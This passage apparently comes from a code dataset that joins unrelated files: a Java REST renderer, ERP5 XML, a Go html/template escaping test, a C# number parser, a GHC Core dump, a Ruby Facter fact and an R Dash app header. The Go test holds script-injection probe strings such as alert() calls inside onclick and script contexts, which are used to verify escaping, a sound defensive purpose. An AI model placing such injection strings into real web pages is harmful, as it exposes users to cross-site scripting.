LinkFollowSpecs linkFollower = getLinkFollowSpecs().follow(\"links\");\n if (linkFollower.matches(link)) {\n final HomePageReprRenderer renderer = new HomePageReprRenderer(\n getResourceContext(), \n linkFollower, \n JsonRepresentation.newMap());\n \n link.mapPut(\"value\", renderer.render());\n }\n getLinks().arrayAdd(link);\n }\n\n private void addLinkToVersion() {\n final JsonRepresentation link = LinkBuilder.newBuilder(\n getResourceContext(), \n Rel.VERSION.getName(),\n RepresentationType.VERSION, \n \"version\")\n .build();\n\n final LinkFollowSpecs linkFollower = getLinkFollowSpecs().follow(\"links\");\n if (linkFollower.matches(link)) {\n final VersionReprRenderer renderer = new VersionReprRenderer(getResourceContext(), linkFollower, JsonRepresentation.newMap());\n link.mapPut(\"value\", renderer.render());\n }\n\n getLinks().arrayAdd(link);\n }\n\n private void addLinkToServices(Stream<ManagedObject> serviceAdapters) {\n\n final JsonRepresentation link = LinkBuilder.newBuilder(\n getResourceContext(), \n Rel.SERVICES.getName(), \n RepresentationType.LIST, \n \"services\")\n .build();\n\n final LinkFollowSpecs linkFollowSpecs = getLinkFollowSpecs().follow(\"links\");\n if (linkFollowSpecs.matches(link)) {\n\n final ListReprRenderer renderer = \n new ListReprRenderer(\n getResourceContext(), \n linkFollowSpecs, \n JsonRepresentation.newMap());\n \n renderer.usingLinkToBuilder(new DomainServiceLinkTo())\n .withLink(Rel.SELF, \"services\")\n .with(serviceAdapters);\n\n link.mapPut(\"value\", renderer.render());\n }\n\n getLinks().arrayAdd(link);\n }\n\n private void addLinkToUser(AuthenticationSession authenticationSession) {\n final JsonRepresentation link = LinkBuilder.newBuilder(\n getResourceContext(), \n Rel.USER.getName(), \n RepresentationType.USER, \n \"user\")\n .build();\n\n final LinkFollowSpecs linkFollower = getLinkFollowSpecs().follow(\"links\");\n if (linkFollower.matches(link)) {\n final UserReprRenderer renderer = new UserReprRenderer(\n getResourceContext(), \n linkFollower, \n JsonRepresentation.newMap());\n \n renderer.with(authenticationSession);\n link.mapPut(\"value\", renderer.render());\n }\n\n getLinks().arrayAdd(link);\n }\n\n private void addLinkToMenuBars() {\n final JsonRepresentation link = LinkBuilder.newBuilder(\n getResourceContext(), \n Rel.MENUBARS.getName(), \n RepresentationType.MENUBARS, \n \"menuBars\")\n .build();\n \n getLinks().arrayAdd(link);\n }\n\n private void addLinkToDomainTypes(final Collection<ObjectSpecification> specifications) {\n\n final JsonRepresentation link = \n LinkBuilder.newBuilder(\n getResourceContext(), \n Rel.DOMAIN_TYPES.getName(), \n RepresentationType.TYPE_LIST, \n \"domain-types\")\n .build();\n\n final LinkFollowSpecs linkFollower = getLinkFollowSpecs().follow(\"links\");\n if (linkFollower.matches(link)) {\n final TypeListReprRenderer renderer = new TypeListReprRenderer(\n getResourceContext(), \n linkFollower, \n JsonRepresentation.newMap());\n \n renderer.withLink(Rel.SELF, \"domain-types\").with(specifications);\n link.mapPut(\"value\", renderer.render());\n }\n\n getLinks().arrayAdd(link);\n }\n\n}"} {"text": "<?xml version=\"1.0\"?>\n<ZopeData>\n <record id=\"1\" aka=\"AAAAAAAAAAE=\">\n <pickle>\n <global name=\"Base Type\" module=\"erp5.portal_type\"/>\n </pickle>\n <pickle>\n <dictionary>\n <item>\n <key> <string>_property_domain_dict</string> </key>\n <value>\n <dictionary>\n <item>\n <key> <string>short_title</string> </key>\n <value>\n <persistent> <string encoding=\"base64\">AAAAAAAAAAI=</string> </persistent>\n </value>\n </item>\n <item>\n <key> <string>title</string> </key>\n <value>\n <persistent> <string encoding=\"base64\">AAAAAAAAAAM=</string> </persistent>\n </value>\n </item>\n </dictionary>\n </value>\n </item>\n <item>\n <key> <string>acquire_local_roles</string> </key>\n <value> <int>1</int> </value>\n </item>\n <item>\n <key> <string>content_icon</string> </key>\n <value> <string>document_icon.gif</string> </value>\n </item>\n <item>\n <key> <string>content_meta_type</string> </key>\n <value> <string>ERP5 Alarm</string> </value>\n </item>\n <item>\n <key> <string>description</string> </key>\n <value>\n <none/>\n </value>\n </item>\n <item>\n <key> <string>factory</string> </key>\n <value> <string>addRoundingModel</string> </value>\n </item>\n <item>\n <key> <string>filter_content_types</string> </key>\n <value> <int>1</int> </value>\n </item>\n <item>\n <key> <string>group_list</string> </key>\n <value>\n <tuple/>\n </value>\n </item>\n <item>\n <key> <string>id</string> </key>\n <value> <string>Rounding Model</string> </value>\n </item>\n <item>\n <key> <string>init_script</string> </key>\n <value>\n <none/>\n </value>\n </item>\n <item>\n <key> <string>permission</string> </key>\n <value>\n <none/>\n </value>\n </item>\n <item>\n <key> <string>title</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>type_class</string> </key>\n <value> <string>RoundingModel</string> </value>\n </item>\n </dictionary>\n </pickle>\n </record>\n <record id=\"2\" aka=\"AAAAAAAAAAI=\">\n <pickle>\n <global name=\"TranslationInformation\" module=\"Products.ERP5Type.TranslationProviderBase\"/>\n </pickle>\n <pickle>\n <dictionary>\n <item>\n <key> <string>domain_name</string> </key>\n <value>\n <none/>\n </value>\n </item>\n <item>\n <key> <string>property_name</string> </key>\n <value> <string>short_title</string> </value>\n </item>\n </dictionary>\n </pickle>\n </record>\n <record id=\"3\" aka=\"AAAAAAAAAAM=\">\n <pickle>\n <global name=\"TranslationInformation\" module=\"Products.ERP5Type.TranslationProviderBase\"/>\n </pickle>\n <pickle>\n <dictionary>\n <item>\n <key> <string>domain_name</string> </key>\n <value>\n <none/>\n </value>\n </item>\n <item>\n <key> <string>property_name</string> </key>\n <value> <string>title</string> </value>\n </item>\n </dictionary>\n </pickle>\n </record>\n</ZopeData>\n"} {"text": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage template\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestTypedContent(t *testing.T) {\n\tdata := []interface{}{\n\t\t`<b> \"foo%\" O'Reilly &bar;`,\n\t\tCSS(`a[href =~ \"//example.com\"]#foo`),\n\t\tHTML(`Hello, <b>World</b> &amp;tc!`),\n\t\tHTMLAttr(` dir=\"ltr\"`),\n\t\tJS(`c && alert(\"Hello, World!\");`),\n\t\tJSStr(`Hello, World & O'Reilly\\x21`),\n\t\tURL(`greeting=H%69&addressee=(World)`),\n\t}\n\n\t// For each content sensitive escaper, see how it does on\n\t// each of the typed strings above.\n\ttests := []struct {\n\t\t// A template containing a single {{.}}.\n\t\tinput string\n\t\twant []string\n\t}{\n\t\t{\n\t\t\t`<style>{{.}} { color: blue }</style>`,\n\t\t\t[]string{\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t// Allowed but not escaped.\n\t\t\t\t`a[href =~ \"//example.com\"]#foo`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<div style=\"{{.}}\">`,\n\t\t\t[]string{\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t// Allowed and HTML escaped.\n\t\t\t\t`a[href =~ &#34;//example.com&#34;]#foo`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`{{.}}`,\n\t\t\t[]string{\n\t\t\t\t`&lt;b&gt; &#34;foo%&#34; O&#39;Reilly &amp;bar;`,\n\t\t\t\t`a[href =~ &#34;//example.com&#34;]#foo`,\n\t\t\t\t// Not escaped.\n\t\t\t\t`Hello, <b>World</b> &amp;tc!`,\n\t\t\t\t` dir=&#34;ltr&#34;`,\n\t\t\t\t`c &amp;&amp; alert(&#34;Hello, World!&#34;);`,\n\t\t\t\t`Hello, World &amp; O&#39;Reilly\\x21`,\n\t\t\t\t`greeting=H%69&amp;addressee=(World)`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<a{{.}}>`,\n\t\t\t[]string{\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t// Allowed and HTML escaped.\n\t\t\t\t` dir=\"ltr\"`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t\t`ZgotmplZ`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<a title={{.}}>`,\n\t\t\t[]string{\n\t\t\t\t`&lt;b&gt;&#32;&#34;foo%&#34;&#32;O&#39;Reilly&#32;&amp;bar;`,\n\t\t\t\t`a[href&#32;&#61;~&#32;&#34;//example.com&#34;]#foo`,\n\t\t\t\t// Tags stripped, spaces escaped, entity not re-escaped.\n\t\t\t\t`Hello,&#32;World&#32;&amp;tc!`,\n\t\t\t\t`&#32;dir&#61;&#34;ltr&#34;`,\n\t\t\t\t`c&#32;&amp;&amp;&#32;alert(&#34;Hello,&#32;World!&#34;);`,\n\t\t\t\t`Hello,&#32;World&#32;&amp;&#32;O&#39;Reilly\\x21`,\n\t\t\t\t`greeting&#61;H%69&amp;addressee&#61;(World)`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<a title='{{.}}'>`,\n\t\t\t[]string{\n\t\t\t\t`&lt;b&gt; &#34;foo%&#34; O&#39;Reilly &amp;bar;`,\n\t\t\t\t`a[href =~ &#34;//example.com&#34;]#foo`,\n\t\t\t\t// Tags stripped, entity not re-escaped.\n\t\t\t\t`Hello, World &amp;tc!`,\n\t\t\t\t` dir=&#34;ltr&#34;`,\n\t\t\t\t`c &amp;&amp; alert(&#34;Hello, World!&#34;);`,\n\t\t\t\t`Hello, World &amp; O&#39;Reilly\\x21`,\n\t\t\t\t`greeting=H%69&amp;addressee=(World)`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<textarea>{{.}}</textarea>`,\n\t\t\t[]string{\n\t\t\t\t`&lt;b&gt; &#34;foo%&#34; O&#39;Reilly &amp;bar;`,\n\t\t\t\t`a[href =~ &#34;//example.com&#34;]#foo`,\n\t\t\t\t// Angle brackets escaped to prevent injection of close tags, entity not re-escaped.\n\t\t\t\t`Hello, &lt;b&gt;World&lt;/b&gt; &amp;tc!`,\n\t\t\t\t` dir=&#34;ltr&#34;`,\n\t\t\t\t`c &amp;&amp; alert(&#34;Hello, World!&#34;);`,\n\t\t\t\t`Hello, World &amp; O&#39;Reilly\\x21`,\n\t\t\t\t`greeting=H%69&amp;addressee=(World)`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<script>alert({{.}})</script>`,\n\t\t\t[]string{\n\t\t\t\t`\"\\u003cb\\u003e \\\"foo%\\\" O'Reilly \\u0026bar;\"`,\n\t\t\t\t`\"a[href =~ \\\"//example.com\\\"]#foo\"`,\n\t\t\t\t`\"Hello, \\u003cb\\u003eWorld\\u003c/b\\u003e \\u0026amp;tc!\"`,\n\t\t\t\t`\" dir=\\\"ltr\\\"\"`,\n\t\t\t\t// Not escaped.\n\t\t\t\t`c && alert(\"Hello, World!\");`,\n\t\t\t\t// Escape sequence not over-escaped.\n\t\t\t\t`\"Hello, World & O'Reilly\\x21\"`,\n\t\t\t\t`\"greeting=H%69\\u0026addressee=(World)\"`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<button onclick=\"alert({{.}})\">`,\n\t\t\t[]string{\n\t\t\t\t`&#34;\\u003cb\\u003e \\&#34;foo%\\&#34; O&#39;Reilly \\u0026bar;&#34;`,\n\t\t\t\t`&#34;a[href =~ \\&#34;//example.com\\&#34;]#foo&#34;`,\n\t\t\t\t`&#34;Hello, \\u003cb\\u003eWorld\\u003c/b\\u003e \\u0026amp;tc!&#34;`,\n\t\t\t\t`&#34; dir=\\&#34;ltr\\&#34;&#34;`,\n\t\t\t\t// Not JS escaped but HTML escaped.\n\t\t\t\t`c &amp;&amp; alert(&#34;Hello, World!&#34;);`,\n\t\t\t\t// Escape sequence not over-escaped.\n\t\t\t\t`&#34;Hello, World &amp; O&#39;Reilly\\x21&#34;`,\n\t\t\t\t`&#34;greeting=H%69\\u0026addressee=(World)&#34;`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<script>alert(\"{{.}}\")</script>`,\n\t\t\t[]string{\n\t\t\t\t`\\x3cb\\x3e \\x22foo%\\x22 O\\x27Reilly \\x26bar;`,\n\t\t\t\t`a[href =~ \\x22\\/\\/example.com\\x22]#foo`,\n\t\t\t\t`Hello, \\x3cb\\x3eWorld\\x3c\\/b\\x3e \\x26amp;tc!`,\n\t\t\t\t` dir=\\x22ltr\\x22`,\n\t\t\t\t`c \\x26\\x26 alert(\\x22Hello, World!\\x22);`,\n\t\t\t\t// Escape sequence not over-escaped.\n\t\t\t\t`Hello, World \\x26 O\\x27Reilly\\x21`,\n\t\t\t\t`greeting=H%69\\x26addressee=(World)`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<button onclick='alert(\"{{.}}\")'>`,\n\t\t\t[]string{\n\t\t\t\t`\\x3cb\\x3e \\x22foo%\\x22 O\\x27Reilly \\x26bar;`,\n\t\t\t\t`a[href =~ \\x22\\/\\/example.com\\x22]#foo`,\n\t\t\t\t`Hello, \\x3cb\\x3eWorld\\x3c\\/b\\x3e \\x26amp;tc!`,\n\t\t\t\t` dir=\\x22ltr\\x22`,\n\t\t\t\t`c \\x26\\x26 alert(\\x22Hello, World!\\x22);`,\n\t\t\t\t// Escape sequence not over-escaped.\n\t\t\t\t`Hello, World \\x26 O\\x27Reilly\\x21`,\n\t\t\t\t`greeting=H%69\\x26addressee=(World)`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<a href=\"?q={{.}}\">`,\n\t\t\t[]string{\n\t\t\t\t`%3cb%3e%20%22foo%25%22%20O%27Reilly%20%26bar%3b`,\n\t\t\t\t`a%5bhref%20%3d~%20%22%2f%2fexample.com%22%5d%23foo`,\n\t\t\t\t`Hello%2c%20%3cb%3eWorld%3c%2fb%3e%20%26amp%3btc%21`,\n\t\t\t\t`%20dir%3d%22ltr%22`,\n\t\t\t\t`c%20%26%26%20alert%28%22Hello%2c%20World%21%22%29%3b`,\n\t\t\t\t`Hello%2c%20World%20%26%20O%27Reilly%5cx21`,\n\t\t\t\t// Quotes and parens are escaped but %69 is not over-escaped. HTML escaping is done.\n\t\t\t\t`greeting=H%69&amp;addressee=%28World%29`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t`<style>body { background: url('?img={{.}}') }</style>`,\n\t\t\t[]string{\n\t\t\t\t`%3cb%3e%20%22foo%25%22%20O%27Reilly%20%26bar%3b`,\n\t\t\t\t`a%5bhref%20%3d~%20%22%2f%2fexample.com%22%5d%23foo`,\n\t\t\t\t`Hello%2c%20%3cb%3eWorld%3c%2fb%3e%20%26amp%3btc%21`,\n\t\t\t\t`%20dir%3d%22ltr%22`,\n\t\t\t\t`c%20%26%26%20alert%28%22Hello%2c%20World%21%22%29%3b`,\n\t\t\t\t`Hello%2c%20World%20%26%20O%27Reilly%5cx21`,\n\t\t\t\t// Quotes and parens are escaped but %69 is not over-escaped. HTML escaping is not done.\n\t\t\t\t`greeting=H%69&addressee=%28World%29`,\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\ttmpl := Must(New(\"x\").Parse(test.input))\n\t\tpre := strings.Index(test.input, \"{{.}}\")\n\t\tpost := len(test.input) - (pre + 5)\n\t\tvar b bytes.Buffer\n\t\tfor i, x := range data {\n\t\t\tb.Reset()\n\t\t\tif err := tmpl.Execute(&b, x); err != nil {\n\t\t\t\tt.Errorf(\"%q with %v: %s\", test.input, x, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif want, got := test.want[i], b.String()[pre:b.Len()-post]; want != got {\n\t\t\t\tt.Errorf(\"%q with %v:\\nwant\\n\\t%q,\\ngot\\n\\t%q\\n\", test.input, x, want, got)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n}\n\n// Test that we print using the String method. Was issue 3073.\ntype stringer struct {\n\tv int\n}\n\nfunc (s *stringer) String() string {\n\treturn fmt.Sprintf(\"string=%d\", s.v)\n}\n\ntype errorer struct {\n\tv int\n}\n\nfunc (s *errorer) Error() string {\n\treturn fmt.Sprintf(\"error=%d\", s.v)\n}\n\nfunc TestStringer(t *testing.T) {\n\ts := &stringer{3}\n\tb := new(bytes.Buffer)\n\ttmpl := Must(New(\"x\").Parse(\"{{.}}\"))\n\tif err := tmpl.Execute(b, s); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tvar expect = \"string=3\"\n\tif b.String() != expect {\n\t\tt.Errorf(\"expected %q got %q\", expect, b.String())\n\t}\n\te := &errorer{7}\n\tb.Reset()\n\tif err := tmpl.Execute(b, e); err != nil {\n\t\tt.Fatal(err)\n\t}\n\texpect = \"error=7\"\n\tif b.String() != expect {\n\t\tt.Errorf(\"expected %q got %q\", expect, b.String())\n\t}\n}\n\n// https://golang.org/issue/5982\nfunc TestEscapingNilNonemptyInterfaces(t *testing.T) {\n\ttmpl := Must(New(\"x\").Parse(\"{{.E}}\"))\n\n\tgot := new(bytes.Buffer)\n\ttestData := struct{ E error }{} // any non-empty interface here will do; error is just ready at hand\n\ttmpl.Execute(got, testData)\n\n\t// Use this data instead of just hard-coding \"&lt;nil&gt;\" to avoid\n\t// dependencies on the html escaper and the behavior of fmt w.r.t. nil.\n\twant := new(bytes.Buffer)\n\tdata := struct{ E string }{E: fmt.Sprint(nil)}\n\ttmpl.Execute(want, data)\n\n\tif !bytes.Equal(want.Bytes(), got.Bytes()) {\n\t\tt.Errorf(\"expected %q got %q\", string(want.Bytes()), string(got.Bytes()))\n\t}\n}\n"} {"text": "using System.Collections.Generic;\nusing System.Collections.Immutable;\nusing System.Globalization;\nusing System.Linq;\nusing System.Text.RegularExpressions;\n\nusing Microsoft.Recognizers.Definitions.Japanese;\n\nnamespace Microsoft.Recognizers.Text.Number.Japanese\n{\n public class JapaneseNumberParserConfiguration : BaseNumberParserConfiguration, ICJKNumberParserConfiguration\n {\n\n private const RegexOptions RegexFlags = RegexOptions.Singleline | RegexOptions.ExplicitCapture;\n\n public JapaneseNumberParserConfiguration(INumberOptionsConfiguration config)\n {\n\n this.Config = config;\n this.LanguageMarker = NumbersDefinitions.LangMarker;\n this.CultureInfo = new CultureInfo(config.Culture);\n\n this.IsCompoundNumberLanguage = NumbersDefinitions.CompoundNumberLanguage;\n this.IsMultiDecimalSeparatorCulture = NumbersDefinitions.MultiDecimalSeparatorCulture;\n\n this.DecimalSeparatorChar = NumbersDefinitions.DecimalSeparatorChar;\n this.FractionMarkerToken = NumbersDefinitions.FractionMarkerToken;\n this.NonDecimalSeparatorChar = NumbersDefinitions.NonDecimalSeparatorChar;\n this.HalfADozenText = NumbersDefinitions.HalfADozenText;\n this.WordSeparatorToken = NumbersDefinitions.WordSeparatorToken;\n this.ZeroChar = NumbersDefinitions.ZeroChar;\n this.PairChar = NumbersDefinitions.PairChar;\n\n this.WrittenDecimalSeparatorTexts = Enumerable.Empty<string>();\n this.WrittenGroupSeparatorTexts = Enumerable.Empty<string>();\n this.WrittenIntegerSeparatorTexts = Enumerable.Empty<string>();\n this.WrittenFractionSeparatorTexts = Enumerable.Empty<string>();\n\n this.CardinalNumberMap = new Dictionary<string, long>().ToImmutableDictionary();\n this.OrdinalNumberMap = new Dictionary<string, long>().ToImmutableDictionary();\n this.RelativeReferenceOffsetMap = NumbersDefinitions.RelativeReferenceOffsetMap.ToImmutableDictionary();\n this.RelativeReferenceRelativeToMap = NumbersDefinitions.RelativeReferenceRelativeToMap.ToImmutableDictionary();\n this.RoundNumberMap = NumbersDefinitions.RoundNumberMap.ToImmutableDictionary();\n this.ZeroToNineMap = NumbersDefinitions.ZeroToNineMap.ToImmutableDictionary();\n this.FullToHalfMap = NumbersDefinitions.FullToHalfMap.ToImmutableDictionary();\n this.RoundNumberMapChar = NumbersDefinitions.RoundNumberMapChar.ToImmutableDictionary();\n this.UnitMap = NumbersDefinitions.UnitMap.ToImmutableDictionary();\n this.RoundDirectList = NumbersDefinitions.RoundDirectList.ToImmutableList();\n this.TenChars = NumbersDefinitions.TenChars.ToImmutableList();\n\n this.HalfADozenRegex = null;\n\n // @TODO Change init to follow design in other languages\n this.DigitalNumberRegex = new Regex(NumbersDefinitions.DigitalNumberRegex, RegexFlags);\n this.DozenRegex = new Regex(NumbersDefinitions.DozenRegex, RegexFlags);\n this.PointRegex = new Regex(NumbersDefinitions.PointRegex, RegexFlags);\n this.DigitNumRegex = new Regex(NumbersDefinitions.DigitNumRegex, RegexFlags);\n this.DoubleAndRoundRegex = new Regex(NumbersDefinitions.DoubleAndRoundRegex, RegexFlags);\n this.FracSplitRegex = new Regex(NumbersDefinitions.FracSplitRegex, RegexFlags);\n this.NegativeNumberSignRegex = new Regex(NumbersDefinitions.NegativeNumberSignRegex, RegexFlags);\n this.SpeGetNumberRegex = new Regex(NumbersDefinitions.SpeGetNumberRegex, RegexFlags);\n this.PercentageRegex = new Regex(NumbersDefinitions.PercentageRegex, RegexFlags);\n this.PairRegex = new Regex(NumbersDefinitions.PairRegex, RegexFlags);\n this.RoundNumberIntegerRegex = new Regex(NumbersDefinitions.RoundNumberIntegerRegex, RegexFlags);\n }\n\n public string NonDecimalSeparatorText { get; private set; }\n\n public Regex DigitNumRegex { get; private set; }\n\n public Regex DozenRegex { get; private set; }\n\n public Regex PercentageRegex { get; private set; }\n\n public Regex DoubleAndRoundRegex { get; private set; }\n\n public Regex FracSplitRegex { get; private set; }\n\n public Regex PointRegex { get; private set; }\n\n public Regex SpeGetNumberRegex { get; private set; }\n\n public Regex PairRegex { get; private set; }\n\n public Regex RoundNumberIntegerRegex { get; private set; }\n\n public char ZeroChar { get; private set; }\n\n public char PairChar { get; private set; }\n\n public ImmutableDictionary<char, double> ZeroToNineMap { get; private set; }\n\n public ImmutableDictionary<char, long> RoundNumberMapChar { get; private set; }\n\n public ImmutableDictionary<char, char> FullToHalfMap { get; private set; }\n\n public ImmutableDictionary<string, string> UnitMap { get; private set; }\n\n public ImmutableDictionary<char, char> TratoSimMap { get; private set; }\n\n public ImmutableList<char> RoundDirectList { get; private set; }\n\n public ImmutableList<char> TenChars { get; private set; }\n\n public override IEnumerable<string> NormalizeTokenSet(IEnumerable<string> tokens, ParseResult context)\n {\n return tokens;\n }\n\n public override long ResolveCompositeNumber(string numberStr)\n {\n return 0;\n }\n }\n}"} {"text": "\n==================== Tidy Core ====================\nResult size of Tidy Core = {terms: 56, types: 67, coercions: 5, joins: 0/0}\n\n-- RHS size: {terms: 1, types: 0, coercions: 0, joins: 0/0}\nT17673.$trModule4 :: GHC.Prim.Addr#\n[GblId, Unf=Unf{Src=<vanilla>, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=IF_ARGS [] 20 0}]\nT17673.$trModule4 = \"main\"#\n\n-- RHS size: {terms: 2, types: 0, coercions: 0, joins: 0/0}\nT17673.$trModule3 :: GHC.Types.TrName\n[GblId, Unf=Unf{Src=<vanilla>, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=IF_ARGS [] 10 20}]\nT17673.$trModule3 = GHC.Types.TrNameS T17673.$trModule4\n\n-- RHS size: {terms: 1, types: 0, coercions: 0, joins: 0/0}\nT17673.$trModule2 :: GHC.Prim.Addr#\n[GblId, Unf=Unf{Src=<vanilla>, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=IF_ARGS [] 30 0}]\nT17673.$trModule2 = \"T17673\"#\n\n-- RHS size: {terms: 2, types: 0, coercions: 0, joins: 0/0}\nT17673.$trModule1 :: GHC.Types.TrName\n[GblId, Unf=Unf{Src=<vanilla>, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=IF_ARGS [] 10 20}]\nT17673.$trModule1 = GHC.Types.TrNameS T17673.$trModule2\n\n-- RHS size: {terms: 3, types: 0, coercions: 0, joins: 0/0}\nT17673.$trModule :: GHC.Types.Module\n[GblId, Unf=Unf{Src=<vanilla>, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=IF_ARGS [] 10 30}]\nT17673.$trModule = GHC.Types.Module T17673.$trModule3 T17673.$trModule1\n\n-- RHS size: {terms: 2, types: 0, coercions: 0, joins: 0/0}\nlvl :: Int\n[GblId, Unf=OtherCon []]\nlvl = GHC.Types.I# 1#\n\nRec {\n-- RHS size: {terms: 27, types: 31, coercions: 0, joins: 0/0}\nT17673.$wfacIO [InlPrag=NOINLINE, Occ=LoopBreaker] :: GHC.Prim.Int# -> GHC.Prim.State# GHC.Prim.RealWorld -> (# GHC.Prim.State# GHC.Prim.RealWorld, Int #)\n[GblId, Arity=2, Str=<L,U><L,U>, Unf=OtherCon []]\nT17673.$wfacIO\n = \\ (ww :: GHC.Prim.Int#) (w :: GHC.Prim.State# GHC.Prim.RealWorld) ->\n case GHC.Prim.<# ww 2# of {\n __DEFAULT -> case T17673.$wfacIO (GHC.Prim.-# ww 1#) w of { (# ipv, ipv1 #) -> (# ipv, case ipv1 of { GHC.Types.I# y -> GHC.Types.I# (GHC.Prim.*# ww y) } #) };\n 1# -> (# w, lvl #)\n }\nend Rec }\n\n-- RHS size: {terms: 8, types: 5, coercions: 0, joins: 0/0}\nT17673.facIO1 [InlPrag=NOUSERINLINE[-1]] :: Int -> GHC.Prim.State# GHC.Prim.RealWorld -> (# GHC.Prim.State# GHC.Prim.RealWorld, Int #)\n[GblId,\n Arity=2,\n Str=<S,1*U(U)><L,U>,\n Unf=Unf{Src=InlineStable, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=ALWAYS_IF(arity=2,unsat_ok=True,boring_ok=False)\n Tmpl= \\ (w [Occ=Once!] :: Int) (w1 [Occ=Once] :: GHC.Prim.State# GHC.Prim.RealWorld) -> case w of { GHC.Types.I# ww1 [Occ=Once] -> T17673.$wfacIO ww1 w1 }}]\nT17673.facIO1 = \\ (w :: Int) (w1 :: GHC.Prim.State# GHC.Prim.RealWorld) -> case w of { GHC.Types.I# ww1 -> T17673.$wfacIO ww1 w1 }\n\n-- RHS size: {terms: 1, types: 0, coercions: 5, joins: 0/0}\nfacIO [InlPrag=NOUSERINLINE[-1]] :: Int -> IO Int\n[GblId,\n Arity=2,\n Str=<S,1*U(U)><L,U>,\n Unf=Unf{Src=InlineStable, TopLvl=True, Value=True, ConLike=True, WorkFree=True, Expandable=True, Guidance=ALWAYS_IF(arity=0,unsat_ok=True,boring_ok=True)\n Tmpl= T17673.facIO1 `cast` (<Int>_R ->_R Sym (GHC.Types.N:IO[0] <Int>_R) :: (Int -> GHC.Prim.State# GHC.Prim.RealWorld -> (# GHC.Prim.State# GHC.Prim.RealWorld, Int #)) ~R# (Int -> IO Int))}]\nfacIO = T17673.facIO1 `cast` (<Int>_R ->_R Sym (GHC.Types.N:IO[0] <Int>_R) :: (Int -> GHC.Prim.State# GHC.Prim.RealWorld -> (# GHC.Prim.State# GHC.Prim.RealWorld, Int #)) ~R# (Int -> IO Int))\n\n\n\n"} {"text": "# frozen_string_literal: true\n\nmodule Facts\n module Linux\n class IsVirtual\n FACT_NAME = 'is_virtual'\n\n def call_the_resolver # rubocop:disable Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n fact_value = check_docker_lxc || check_gce || retrieve_from_virt_what || check_vmware\n fact_value ||= check_open_vz || check_vserver || check_xen || check_other_facts || check_lspci || 'physical'\n\n Facter::ResolvedFact.new(FACT_NAME, check_if_virtual(fact_value))\n end\n\n def check_gce\n bios_vendor = Facter::Resolvers::Linux::DmiBios.resolve(:bios_vendor)\n 'gce' if bios_vendor&.include?('Google')\n end\n\n def check_docker_lxc\n Facter::Resolvers::Containers.resolve(:vm)\n end\n\n def check_vmware\n Facter::Resolvers::Vmware.resolve(:vm)\n end\n\n def retrieve_from_virt_what\n Facter::Resolvers::VirtWhat.resolve(:vm)\n end\n\n def check_open_vz\n Facter::Resolvers::OpenVz.resolve(:vm)\n end\n\n def check_vserver\n Facter::Resolvers::VirtWhat.resolve(:vserver)\n end\n\n def check_xen\n Facter::Resolvers::Xen.resolve(:vm)\n end\n\n def check_other_facts\n product_name = Facter::Resolvers::Linux::DmiBios.resolve(:product_name)\n bios_vendor = Facter::Resolvers::Linux::DmiBios.resolve(:bios_vendor)\n return 'kvm' if bios_vendor&.include?('Amazon EC2')\n return unless product_name\n\n Facter::FactsUtils::HYPERVISORS_HASH.each { |key, value| return value if product_name.include?(key) }\n\n nil\n end\n\n def check_lspci\n Facter::Resolvers::Lspci.resolve(:vm)\n end\n\n def check_if_virtual(found_vm)\n Facter::FactsUtils::PHYSICAL_HYPERVISORS.count(found_vm).zero?\n end\n end\n end\nend\n"} {"text": "# This app's data and plots are heavily inspired from the scikit-learn Classifier\n# comparison tutorial. You can find it here:\n# http://scikit-learn.org/stable/auto_examples/classification/plot_classifier_comparison.html\n# The app mimics the dash for python application that can be found here:\n# https://github.com/plotly/dash-sample-apps/tree/master/apps/dash-svm\n# The Confusion Matrix Pie Chart format was inspired by Nicolas's Dash ROC app.\n# The data used in this app were meant to generally replicate the datasets \n# built in to scikit-learn, and were obtained using the clusterSim package\n# See data/getData.R to see how the data were obtained\n\nlibrary(dash)\nlibrary(dashCoreComponents)\nlibrary(dashHtmlComponents)\n\nappName <- Sys.getenv(\"DASH_APP_NAME\")\nif (appName != \"\"){\n pathPrefix <- sprintf(\"/%s/\", appName)\n\n 